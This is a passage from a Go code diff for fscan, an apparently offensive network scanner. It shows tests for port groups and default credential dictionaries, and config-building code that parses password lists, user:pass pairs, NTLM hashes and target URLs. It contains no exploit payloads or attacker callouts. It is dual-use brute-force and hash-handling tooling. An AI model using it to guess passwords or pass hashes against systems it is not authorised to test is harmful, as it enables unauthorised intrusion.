||||||
|
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestPortGroups_NoEmpty 测试端口组非空
|
||||||
|
func TestPortGroups_NoEmpty(t *testing.T) {
|
||||||
|
groups := map[string]string{
|
||||||
|
"WebPorts": WebPorts,
|
||||||
|
"MainPorts": MainPorts,
|
||||||
|
"DbPorts": DbPorts,
|
||||||
|
"ServicePorts": ServicePorts,
|
||||||
|
"CommonPorts": CommonPorts,
|
||||||
|
"AllPorts": AllPorts,
|
||||||
|
}
|
||||||
|
|
||||||
|
for name, ports := range groups {
|
||||||
|
if ports == "" {
|
||||||
|
t.Errorf("%s 不应为空字符串", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ 所有端口组非空")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestPortGroups_NoDuplicates 测试端口组无重复
|
||||||
|
func TestPortGroups_NoDuplicates(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
portGroup string
|
||||||
|
}{
|
||||||
|
{"WebPorts", WebPorts},
|
||||||
|
{"MainPorts", MainPorts},
|
||||||
|
{"DbPorts", DbPorts},
|
||||||
|
{"ServicePorts", ServicePorts},
|
||||||
|
{"CommonPorts", CommonPorts},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if tt.portGroup == "1-65535" {
|
||||||
|
t.Skip("范围格式无需检查重复")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
ports := strings.Split(tt.portGroup, ",")
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
duplicates := []string{}
|
||||||
|
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
if seen[port] {
|
||||||
|
duplicates = append(duplicates, port)
|
||||||
|
}
|
||||||
|
seen[port] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(duplicates) > 0 {
|
||||||
|
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
|
||||||
|
} else {
|
||||||
|
t.Logf("✓ %s 无重复端口", tt.name)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
|
||||||
|
//
|
||||||
|
// 验证:返回的map包含所有预定义的端口组
|
||||||
|
func TestGetPortGroups_Completeness(t *testing.T) {
|
||||||
|
groups := GetPortGroups()
|
||||||
|
|
||||||
|
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
|
||||||
|
for _, key := range expectedKeys {
|
||||||
|
if _, ok := groups[key]; !ok {
|
||||||
|
t.Errorf("GetPortGroups缺少键: %s", key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(groups) != len(expectedKeys) {
|
||||||
|
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
|
||||||
|
func TestGetPortGroups_Values(t *testing.T) {
|
||||||
|
groups := GetPortGroups()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
key string
|
||||||
|
expected string
|
||||||
|
}{
|
||||||
|
{"web", WebPorts},
|
||||||
|
{"main", MainPorts},
|
||||||
|
{"db", DbPorts},
|
||||||
|
{"service", ServicePorts},
|
||||||
|
{"common", CommonPorts},
|
||||||
|
{"all", AllPorts},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.key, func(t *testing.T) {
|
||||||
|
actual, ok := groups[tt.key]
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
|
||||||
|
}
|
||||||
|
|
||||||
|
if actual != tt.expected {
|
||||||
|
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
|
||||||
|
tt.key, tt.expected[:20], actual[:20])
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ %s 映射正确", tt.key)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 探测器配置测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
|
||||||
|
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
|
||||||
|
if len(DefaultProbeMap) == 0 {
|
||||||
|
t.Error("DefaultProbeMap不应为空")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证每个探测器名称非空
|
||||||
|
for i, probe := range DefaultProbeMap {
|
||||||
|
if probe == "" {
|
||||||
|
t.Errorf("第%d个探测器名称为空", i+1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
|
||||||
|
func TestDefaultPortMap_ValidKeys(t *testing.T) {
|
||||||
|
invalidPorts := []int{}
|
||||||
|
|
||||||
|
for port := range DefaultPortMap {
|
||||||
|
if port < 1 || port > 65535 {
|
||||||
|
invalidPorts = append(invalidPorts, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(invalidPorts) > 0 {
|
||||||
|
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
|
||||||
|
} else {
|
||||||
|
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
|
||||||
|
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
|
||||||
|
emptyPorts := []int{}
|
||||||
|
|
||||||
|
for port, probes := range DefaultPortMap {
|
||||||
|
if len(probes) == 0 {
|
||||||
|
emptyPorts = append(emptyPorts, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(emptyPorts) > 0 {
|
||||||
|
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
|
||||||
|
} else {
|
||||||
|
t.Logf("✓ DefaultPortMap所有端口都有探测器")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 字典数据测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
|
||||||
|
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
|
||||||
|
for service, users := range DefaultUserDict {
|
||||||
|
if service == "" {
|
||||||
|
t.Error("DefaultUserDict包含空服务名")
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(users) == 0 {
|
||||||
|
t.Errorf("服务 '%s' 的用户列表为空", service)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
|
||||||
|
func TestDefaultUserDict_CommonServices(t *testing.T) {
|
||||||
|
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
|
||||||
|
|
||||||
|
for _, service := range commonServices {
|
||||||
|
if _, ok := DefaultUserDict[service]; !ok {
|
||||||
|
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ DefaultUserDict包含所有常见服务")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
|
||||||
|
//
|
||||||
|
// 验证:某些服务(如redis)允许空用户名
|
||||||
|
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
|
||||||
|
// redis服务应该包含空用户名
|
||||||
|
redisUsers, ok := DefaultUserDict["redis"]
|
||||||
|
if !ok {
|
||||||
|
t.Skip("DefaultUserDict不包含redis,跳过测试")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hasEmptyUser := false
|
||||||
|
for _, user := range redisUsers {
|
||||||
|
if user == "" {
|
||||||
|
hasEmptyUser = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !hasEmptyUser {
|
||||||
|
t.Error("redis用户列表应该包含空用户名(默认无认证)")
|
||||||
|
} else {
|
||||||
|
t.Logf("✓ redis用户列表正确包含空用户名")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
|
||||||
|
func TestDefaultPasswords_NoEmpty(t *testing.T) {
|
||||||
|
if len(DefaultPasswords) == 0 {
|
||||||
|
t.Error("DefaultPasswords不应为空")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
|
||||||
|
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
|
||||||
|
// 应该包含空密码(某些服务默认无密码)
|
||||||
|
hasEmptyPassword := false
|
||||||
|
for _, pass := range DefaultPasswords {
|
||||||
|
if pass == "" {
|
||||||
|
hasEmptyPassword = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !hasEmptyPassword {
|
||||||
|
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
|
||||||
|
} else {
|
||||||
|
t.Logf("✓ DefaultPasswords正确包含空密码")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
|
||||||
|
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
|
||||||
|
// 应该包含{user}占位符(密码=用户名的场景)
|
||||||
|
hasPlaceholder := false
|
||||||
|
for _, pass := range DefaultPasswords {
|
||||||
|
if strings.Contains(pass, "{user}") {
|
||||||
|
hasPlaceholder = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !hasPlaceholder {
|
||||||
|
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
|
||||||
|
} else {
|
||||||
|
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 结构体测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestPocInfo_Fields 测试PocInfo结构体字段
|
||||||
|
func TestPocInfo_Fields(t *testing.T) {
|
||||||
|
poc := PocInfo{
|
||||||
|
Target: "http://example.com",
|
||||||
|
PocName: "test-poc",
|
||||||
|
}
|
||||||
|
|
||||||
|
if poc.Target != "http://example.com" {
|
||||||
|
t.Error("PocInfo.Target赋值失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
if poc.PocName != "test-poc" {
|
||||||
|
t.Error("PocInfo.PocName赋值失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ PocInfo结构体正常工作")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestCredentialPair_Fields 测试CredentialPair结构体字段
|
||||||
|
func TestCredentialPair_Fields(t *testing.T) {
|
||||||
|
cred := CredentialPair{
|
||||||
|
Username: "admin",
|
||||||
|
Password: "password123",
|
||||||
|
}
|
||||||
|
|
||||||
|
if cred.Username != "admin" {
|
||||||
|
t.Error("CredentialPair.Username赋值失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
if cred.Password != "password123" {
|
||||||
|
t.Error("CredentialPair.Password赋值失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ CredentialPair结构体正常工作")
|
||||||
|
}
|
||||||
@@ -0,0 +1,384 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/url"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/config"
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
"github.com/shadow1ng/fscan/common/parsers"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
config_builder.go - 统一配置构建入口
|
||||||
|
|
||||||
|
从 FlagVars 直接构建 Config 和 State,消除中间层。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
|
||||||
|
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
|
||||||
|
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
|
||||||
|
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags)
|
||||||
|
cfg := BuildConfigFromFlags(fv)
|
||||||
|
|
||||||
|
// 2. 创建 State
|
||||||
|
state := NewState()
|
||||||
|
|
||||||
|
// 3. 解析凭据
|
||||||
|
if err := parseCredentials(fv, cfg); err != nil {
|
||||||
|
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 解析目标(主机、端口、URL)
|
||||||
|
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||||
|
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 应用日志级别
|
||||||
|
applyLogLevelFromConfig(fv)
|
||||||
|
|
||||||
|
return cfg, state, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 凭据解析
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
func parseCredentials(fv *FlagVars, cfg *Config) error {
|
||||||
|
// 解析用户名
|
||||||
|
usernames, err := parseUsernames(fv)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(usernames) > 0 {
|
||||||
|
for serviceName := range cfg.Credentials.Userdict {
|
||||||
|
cfg.Credentials.Userdict[serviceName] = usernames
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析密码
|
||||||
|
passwords, err := parsePasswords(fv)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(passwords) > 0 {
|
||||||
|
cfg.Credentials.Passwords = passwords
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析用户密码对
|
||||||
|
pairs, err := parseUserPassPairs(fv)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(pairs) > 0 {
|
||||||
|
cfg.Credentials.UserPassPairs = pairs
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析哈希
|
||||||
|
hashValues, hashBytes, err := parseHashes(fv)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(hashValues) > 0 {
|
||||||
|
cfg.Credentials.HashValues = hashValues
|
||||||
|
cfg.Credentials.HashBytes = hashBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseUsernames(fv *FlagVars) ([]string, error) {
|
||||||
|
var usernames []string
|
||||||
|
|
||||||
|
// 命令行用户名
|
||||||
|
if fv.Username != "" {
|
||||||
|
for _, u := range strings.Split(fv.Username, ",") {
|
||||||
|
u = strings.TrimSpace(u)
|
||||||
|
if u != "" {
|
||||||
|
usernames = append(usernames, u)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件读取
|
||||||
|
if fv.UsersFile != "" {
|
||||||
|
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
||||||
|
usernames = append(usernames, lines...)
|
||||||
|
} else {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("config_read_users_failed", fv.UsersFile, err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 额外用户名
|
||||||
|
if fv.AddUsers != "" {
|
||||||
|
for _, u := range strings.Split(fv.AddUsers, ",") {
|
||||||
|
u = strings.TrimSpace(u)
|
||||||
|
if u != "" {
|
||||||
|
usernames = append(usernames, u)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return removeDuplicate(usernames), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parsePasswords(fv *FlagVars) ([]string, error) {
|
||||||
|
var passwords []string
|
||||||
|
|
||||||
|
// 命令行密码(支持逗号分隔多个值,保留空格作为密码的一部分)
|
||||||
|
if fv.Password != "" {
|
||||||
|
for _, p := range strings.Split(fv.Password, ",") {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
if p != "" {
|
||||||
|
passwords = append(passwords, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件读取
|
||||||
|
if fv.PasswordsFile != "" {
|
||||||
|
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
||||||
|
passwords = append(passwords, lines...)
|
||||||
|
} else {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 额外密码
|
||||||
|
if fv.AddPasswords != "" {
|
||||||
|
passwords = append(passwords, splitCredentialValues(fv.AddPasswords)...)
|
||||||
|
}
|
||||||
|
|
||||||
|
return removeDuplicate(passwords), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func splitCredentialValues(input string) []string {
|
||||||
|
fields := strings.FieldsFunc(input, func(r rune) bool {
|
||||||
|
return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r'
|
||||||
|
})
|
||||||
|
|
||||||
|
values := make([]string, 0, len(fields))
|
||||||
|
for _, field := range fields {
|
||||||
|
field = strings.TrimSpace(field)
|
||||||
|
if field != "" {
|
||||||
|
values = append(values, field)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return values
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
|
||||||
|
var pairs []config.CredentialPair
|
||||||
|
|
||||||
|
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
|
||||||
|
if fv.Username != "" && fv.Password != "" &&
|
||||||
|
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
|
||||||
|
fv.AddUsers == "" && fv.AddPasswords == "" &&
|
||||||
|
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
|
||||||
|
pairs = append(pairs, config.CredentialPair{
|
||||||
|
Username: strings.TrimSpace(fv.Username),
|
||||||
|
Password: fv.Password,
|
||||||
|
})
|
||||||
|
return pairs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件读取用户密码对
|
||||||
|
if fv.UserPassFile != "" {
|
||||||
|
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
pairs = append(pairs, filePairs...)
|
||||||
|
}
|
||||||
|
|
||||||
|
return pairs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
|
||||||
|
var hashValues []string
|
||||||
|
var hashBytes [][]byte
|
||||||
|
|
||||||
|
// 命令行哈希(支持纯 NTLM 32字符 或 LM:NT 格式)
|
||||||
|
if fv.HashValue != "" {
|
||||||
|
hash := strings.TrimSpace(fv.HashValue)
|
||||||
|
// LM:NT 格式取 NT hash 部分
|
||||||
|
if parts := strings.SplitN(hash, ":", 2); len(parts) == 2 && len(parts[1]) == 32 {
|
||||||
|
hash = parts[1]
|
||||||
|
}
|
||||||
|
if len(hash) != 32 {
|
||||||
|
return nil, nil, fmt.Errorf("invalid hash length: %s", fv.HashValue)
|
||||||
|
}
|
||||||
|
hashByte, err := hex.DecodeString(hash)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
hashValues = append(hashValues, hash)
|
||||||
|
hashBytes = append(hashBytes, hashByte)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件读取
|
||||||
|
if fv.HashFile != "" {
|
||||||
|
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
hashValues = append(hashValues, fileHashes...)
|
||||||
|
hashBytes = append(hashBytes, fileHashBytes...)
|
||||||
|
}
|
||||||
|
|
||||||
|
return hashValues, hashBytes, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 目标解析
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
|
||||||
|
// 检查是否为 host:port 格式
|
||||||
|
ports := fv.Ports
|
||||||
|
if info.Host != "" && strings.Contains(info.Host, ":") {
|
||||||
|
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
|
||||||
|
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
|
||||||
|
// 有效的 host:port 格式
|
||||||
|
state.SetHostPorts([]string{info.Host})
|
||||||
|
info.Host = ""
|
||||||
|
ports = "" // 清空端口,避免双重扫描
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析 URL
|
||||||
|
urls, err := parseURLs(fv)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(urls) > 0 {
|
||||||
|
state.SetURLs(urls)
|
||||||
|
if info.URL == "" && len(urls) == 1 {
|
||||||
|
info.URL = urls[0]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新端口配置
|
||||||
|
if ports != "" {
|
||||||
|
cfg.Target.Ports = ports
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseURLs(fv *FlagVars) ([]string, error) {
|
||||||
|
var urls []string
|
||||||
|
|
||||||
|
// 命令行 URL
|
||||||
|
if fv.TargetURL != "" {
|
||||||
|
for _, u := range strings.Split(fv.TargetURL, ",") {
|
||||||
|
u = strings.TrimSpace(u)
|
||||||
|
if u != "" {
|
||||||
|
urls = append(urls, normalizeURL(u))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件读取
|
||||||
|
if fv.URLsFile != "" {
|
||||||
|
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
|
||||||
|
for _, line := range lines {
|
||||||
|
urls = append(urls, normalizeURL(line))
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("config_read_urls_failed", fv.URLsFile, err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return removeDuplicate(urls), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeURL(rawURL string) string {
|
||||||
|
rawURL = strings.TrimSpace(rawURL)
|
||||||
|
if rawURL == "" {
|
||||||
|
return rawURL
|
||||||
|
}
|
||||||
|
lowerURL := strings.ToLower(rawURL)
|
||||||
|
if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") {
|
||||||
|
return "http://" + normalizeSchemelessURLTarget(rawURL)
|
||||||
|
}
|
||||||
|
parsed, err := url.Parse(rawURL)
|
||||||
|
if err != nil || parsed.Host == "" {
|
||||||
|
return rawURL
|
||||||
|
}
|
||||||
|
normalizedHost := normalizeURLHost(parsed.Host)
|
||||||
|
if normalizedHost == parsed.Host {
|
||||||
|
return rawURL
|
||||||
|
}
|
||||||
|
parsed.Host = normalizedHost
|
||||||
|
normalized := parsed.String()
|
||||||
|
if schemeEnd := strings.Index(rawURL, "://"); schemeEnd >= 0 {
|
||||||
|
return rawURL[:schemeEnd] + normalized[len(parsed.Scheme):]
|
||||||
|
}
|
||||||
|
return normalized
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeSchemelessURLTarget(rawURL string) string {
|
||||||
|
authority := rawURL
|
||||||
|
suffix := ""
|
||||||
|
if idx := strings.IndexAny(rawURL, "/?#"); idx >= 0 {
|
||||||
|
authority = rawURL[:idx]
|
||||||
|
suffix = rawURL[idx:]
|
||||||
|
}
|
||||||
|
return normalizeURLHost(authority) + suffix
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeURLHost(host string) string {
|
||||||
|
if strings.HasPrefix(host, "[") {
|
||||||
|
return host
|
||||||
|
}
|
||||||
|
if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") {
|
||||||
|
return "[" + host + "]"
|
||||||
|
}
|
||||||
|
return host
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 日志级别应用
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
func applyLogLevelFromConfig(fv *FlagVars) {
|
||||||
|
if fv.LogLevel == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 调用已有的 applyLogLevel 函数
|
||||||
|
applyLogLevel()
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 辅助函数
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
func removeDuplicate(old []string) []string {
|
||||||
|
if len(old) <= 1 {
|
||||||
|
return old
|
||||||
|
}
|
||||||
|
|
||||||
|
temp := make(map[string]struct{}, len(old))
|
||||||
|
result := make([]string, 0, len(old))
|
||||||
|
|
||||||
|
for _, item := range old {
|
||||||
|
if _, exists := temp[item]; !exists {
|
||||||
|
temp[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
|
||||||
@@ -0,0 +1,450 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
fscanconfig "github.com/shadow1ng/fscan/common/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) {
|
||||||
|
fv := &FlagVars{
|
||||||
|
Password: "root admin,pass0",
|
||||||
|
AddPasswords: "pass1 pass2,pass3\tpass4",
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := parsePasswords(fv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parsePasswords error = %v", err)
|
||||||
|
}
|
||||||
|
// -pwd 逗号分隔,空格保留;-pwda 逗号/空格/tab 分隔
|
||||||
|
want := []string{"root admin", "pass0", "pass1", "pass2", "pass3", "pass4"}
|
||||||
|
if !reflect.DeepEqual(got, want) {
|
||||||
|
t.Fatalf("parsePasswords() = %#v, want %#v", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildConfigReturnsUserFileError(t *testing.T) {
|
||||||
|
_, _, err := BuildConfig(&FlagVars{UsersFile: "missing-users-file.txt"}, &HostInfo{})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("BuildConfig should fail for missing users file")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildConfigReturnsPasswordFileError(t *testing.T) {
|
||||||
|
_, _, err := BuildConfig(&FlagVars{PasswordsFile: "missing-passwords-file.txt"}, &HostInfo{})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("BuildConfig should fail for missing passwords file")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildConfigReturnsURLFileError(t *testing.T) {
|
||||||
|
_, _, err := BuildConfig(&FlagVars{URLsFile: "missing-urls-file.txt"}, &HostInfo{})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("BuildConfig should fail for missing urls file")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildConfigRejectsInvalidHashValue(t *testing.T) {
|
||||||
|
_, _, err := BuildConfig(&FlagVars{HashValue: "not-md5"}, &HostInfo{})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("BuildConfig should fail for invalid hash value")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) {
|
||||||
|
cfg, _, err := BuildConfig(&FlagVars{Username: "custom-user"}, &HostInfo{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("BuildConfig error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"]
